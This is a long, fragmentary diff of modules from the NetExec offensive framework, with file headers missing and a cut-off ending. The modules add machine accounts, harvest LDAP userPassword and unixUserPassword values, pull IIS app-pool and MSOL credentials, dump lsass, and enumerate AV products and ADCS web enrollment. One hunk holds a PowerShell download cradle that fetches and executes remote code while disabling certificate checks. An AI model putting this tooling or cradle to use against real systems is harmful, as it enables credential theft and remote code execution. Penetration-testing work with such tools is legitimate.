from impacket.dcerpc.v5 import samr, epm, transport
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
@@ -40,7 +41,6 @@ class NXCModule:
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
@@ -87,7 +87,8 @@ class NXCModule:
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
else:
|
||||
sys.exit(1)
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
@@ -177,6 +178,7 @@ class NXCModule:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
|
||||
sys.exit(1)
|
||||
except samr.DCERPCSessionError as e:
|
||||
if e.error_code != 0xC0000073:
|
||||
raise
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
return
|
||||
|
||||
def execute_appcmd(self, context, connection):
|
||||
command = 'powershell -c "C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*"'
|
||||
command = "powershell -c 'C:\\windows\\system32\\inetsrv\\appcmd.exe list apppool /@t:*'"
|
||||
context.log.info("Checking For Hidden Credentials With Appcmd.exe")
|
||||
output = connection.execute(command, True)
|
||||
|
||||
+23
-25
@@ -65,7 +65,7 @@ WELL_KNOWN_SIDS = {
|
||||
"S-1-5-64-14": "SChannel Authentication",
|
||||
"S-1-5-64-21": "Digest Authority",
|
||||
"S-1-5-80": "NT Service",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
|
||||
"S-1-5-83-0": "NT VIRTUAL MACHINE\Virtual Machines",
|
||||
"S-1-16-0": "Untrusted Mandatory Level",
|
||||
"S-1-16-4096": "Low Mandatory Level",
|
||||
"S-1-16-8192": "Medium Mandatory Level",
|
||||
@@ -74,24 +74,24 @@ WELL_KNOWN_SIDS = {
|
||||
"S-1-16-16384": "System Mandatory Level",
|
||||
"S-1-16-20480": "Protected Process Mandatory Level",
|
||||
"S-1-16-28672": "Secure Process Mandatory Level",
|
||||
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-554": "BUILTIN\Pre-Windows 2000 Compatible Access",
|
||||
"S-1-5-32-555": "BUILTIN\Remote Desktop Users",
|
||||
"S-1-5-32-557": "BUILTIN\Incoming Forest Trust Builders",
|
||||
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
|
||||
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
"S-1-5-32-558": "BUILTIN\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\Remote Management Users",
|
||||
}
|
||||
|
||||
|
||||
@@ -516,8 +516,6 @@ class NXCModule:
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
try:
|
||||
@@ -530,7 +528,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -538,7 +536,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -546,13 +544,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -560,7 +558,7 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
||||
+12
-16
@@ -35,7 +35,7 @@ class NXCModule:
|
||||
results = self._detect_installed_services(context, connection, target)
|
||||
self.detect_running_processes(context, connection, results)
|
||||
|
||||
self.dump_results(results, context)
|
||||
self.dump_results(results, connection.hostname, context)
|
||||
|
||||
def _get_target(self, connection):
|
||||
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
|
||||
@@ -58,16 +58,18 @@ class NXCModule:
|
||||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
try:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
|
||||
return results
|
||||
|
||||
def detect_running_processes(self, context, connection, results):
|
||||
@@ -78,16 +80,13 @@ class NXCModule:
|
||||
for product in conf["products"]:
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
prod_results = results.setdefault(product["name"], {})
|
||||
prod_results.setdefault("pipes", []).append(pipe)
|
||||
except Exception as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
context.log.debug(str(e))
|
||||
|
||||
def dump_results(self, results, context):
|
||||
def dump_results(self, results, remoteName, context):
|
||||
if not results:
|
||||
context.log.highlight("Found NOTHING!")
|
||||
return
|
||||
@@ -262,10 +261,7 @@ conf = {
|
||||
{"name": "epfw", "description": "ESET"},
|
||||
{"name": "epfwlwf", "description": "ESET"},
|
||||
{"name": "epfwwfp", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET Management Agent service"},
|
||||
{"name": "ERAAgent", "description": "ESET Management Agent service"},
|
||||
{"name": "efwd", "description": "ESET Communication Forwarding Service"},
|
||||
{"name": "ehttpsrv", "description": "ESET HTTP Server"},
|
||||
{"name": "EraAgentSvc", "description": "ESET"},
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
|
||||
@@ -1,106 +0,0 @@
|
||||
from impacket.dcerpc.v5 import transport, epm
|
||||
from impacket.http import AUTH_NTLM
|
||||
from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR
|
||||
from impacket import uuid
|
||||
import requests
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
-------
|
||||
Module by @0xjbb, original code from Impacket rpcdump.py
|
||||
"""
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
139: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
443: {"bindstr": r"ncacn_http:[593,RpcProxy=%s:443]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
593: {"bindstr": r"ncacn_http:%s"}
|
||||
}
|
||||
|
||||
name = "enum_ca"
|
||||
description = "Anonymously uses RPC endpoints to hunt for ADCS CAs"
|
||||
supported_protocols = ["smb"] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__port = 135.
|
||||
self.__stringbinding = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
|
||||
if self.__port in [139, 445]:
|
||||
# Setting credentials for SMB
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
else:
|
||||
pass
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
context.log.highlight(url)
|
||||
try:
|
||||
response = requests.get(url, timeout=5)
|
||||
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
|
||||
context.log.highlight("Web enrollment found on HTTP (ESC8).")
|
||||
except requests.RequestException as e:
|
||||
context.log.debug(e)
|
||||
return
|
||||
|
||||
def __fetchList(self, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
||||
@@ -31,7 +31,7 @@ class NXCModule:
|
||||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
@@ -102,11 +102,6 @@ class NXCModule:
|
||||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if conditionFilter and not self.PASSWORDPOLICY:
|
||||
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
|
||||
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
|
||||
if (conditionFilter == self.FILTER) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
return answersFiltered
|
||||
@@ -1,63 +0,0 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get unixUserPassword attribute from all users in ldap
|
||||
Module by @SyzikSecu
|
||||
"""
|
||||
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "unixUserPassword"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
unixUserPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "unixUserPassword":
|
||||
unixUserPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(unixUserPassword) > 0:
|
||||
answers.append([sAMAccountName, unixUserPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
|
||||
else:
|
||||
context.log.fail("No unixUserPassword Found")
|
||||
@@ -1,63 +0,0 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get userPassword attribute from all users in ldap
|
||||
Module by @SyzikSecu
|
||||
"""
|
||||
|
||||
name = "get-userPassword"
|
||||
description = "Get userPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "userPassword"],
|
||||
sizeLimit=0,
|
||||
)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userPassword = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userPassword":
|
||||
userPassword = [str(i) for i in attribute["vals"]]
|
||||
if sAMAccountName != "" and len(userPassword) > 0:
|
||||
answers.append([sAMAccountName, userPassword])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
|
||||
else:
|
||||
context.log.fail("No userPassword Found")
|
||||
File renamed without changes.
@@ -146,7 +146,7 @@ class NXCModule:
|
||||
|
||||
@staticmethod
|
||||
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
|
||||
host_id = context.db.get_hosts(connection.host)[0][0]
|
||||
host_id = context.db.get_computers(connection.host)[0][0]
|
||||
if password is not None:
|
||||
credential_type = "plaintext"
|
||||
else:
|
||||
|
||||
+19
-35
@@ -39,15 +39,10 @@ class NXCModule:
|
||||
async def run_ldaps_noEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
|
||||
# Required step to try to bind without channel binding
|
||||
ldapsClientConn.cb_data = None
|
||||
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
sys.exit()
|
||||
|
||||
valid, err = await ldapsClientConn.bind()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
elif "data 52e" in str(err):
|
||||
@@ -92,12 +87,11 @@ class NXCModule:
|
||||
def DoesLdapsCompleteHandshake(dcIp):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(5)
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_sock = ssl_context.wrap_socket(
|
||||
ssl_sock = ssl.wrap_socket(
|
||||
s,
|
||||
do_handshake_on_connect=False,
|
||||
cert_reqs=ssl.CERT_OPTIONAL,
|
||||
suppress_ragged_eofs=False,
|
||||
do_handshake_on_connect=False,
|
||||
)
|
||||
ssl_sock.connect((dcIp, 636))
|
||||
try:
|
||||
@@ -120,30 +114,19 @@ class NXCModule:
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
async def run_ldap(target, credential):
|
||||
try:
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
ldapsClientConn._disable_signing = True
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail(str(err))
|
||||
return False
|
||||
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is None:
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if err is not None:
|
||||
errstr = str(err).lower()
|
||||
if "stronger" in errstr:
|
||||
return True
|
||||
# because LDAP server signing requirements ARE enforced
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
else:
|
||||
# LDAPS bind successful
|
||||
return False
|
||||
# because LDAP server signing requirements are not enforced
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
return False
|
||||
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
sys.exit()
|
||||
elif err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
@@ -165,8 +148,9 @@ class NXCModule:
|
||||
stype=stype,
|
||||
)
|
||||
|
||||
target = MSLDAPTarget(connection.host, 389, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected is True:
|
||||
@@ -178,7 +162,7 @@ class NXCModule:
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
|
||||
@@ -64,7 +64,7 @@ class NXCModule:
|
||||
context.log.fail("Unable to dump lsass")
|
||||
return False
|
||||
|
||||
parsed = Parser(host, file).parse()
|
||||
parsed = Parser(file).parse()
|
||||
if parsed is None:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
@@ -37,7 +37,7 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.ca:
|
||||
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
|
||||
return False
|
||||
|
||||
host = connection.host
|
||||
|
||||
@@ -56,7 +56,7 @@ class NXCModule:
|
||||
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
|
||||
command = """$url="{}://{}:{}/{}"
|
||||
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'
|
||||
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
|
||||
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
|
||||
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessInfo.FileName=$PowershellExe
|
||||
|
||||
@@ -248,7 +248,7 @@ class NXCModule:
|
||||
]
|
||||
|
||||
# Create the IPC string
|
||||
ipc = f"\\\\{ip}\\IPC$\x00"
|
||||
ipc = f"\\\\{ip}\IPC$\x00"
|
||||
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
|
||||
|
||||
# Initialize the tree connect andx request
|
||||
|
||||
+3
-3
@@ -3,7 +3,7 @@
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
from os import path
|
||||
from nxc.paths import TMP_PATH
|
||||
import sys
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
|
||||
|
||||
@@ -49,14 +49,14 @@ class NXCModule:
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = f"{TMP_PATH}/msol.ps1"
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
|
||||
try:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
except FileNotFoundError:
|
||||
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
|
||||
@@ -98,7 +98,7 @@ class NXCModule:
|
||||
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
|
||||
try:
|
||||
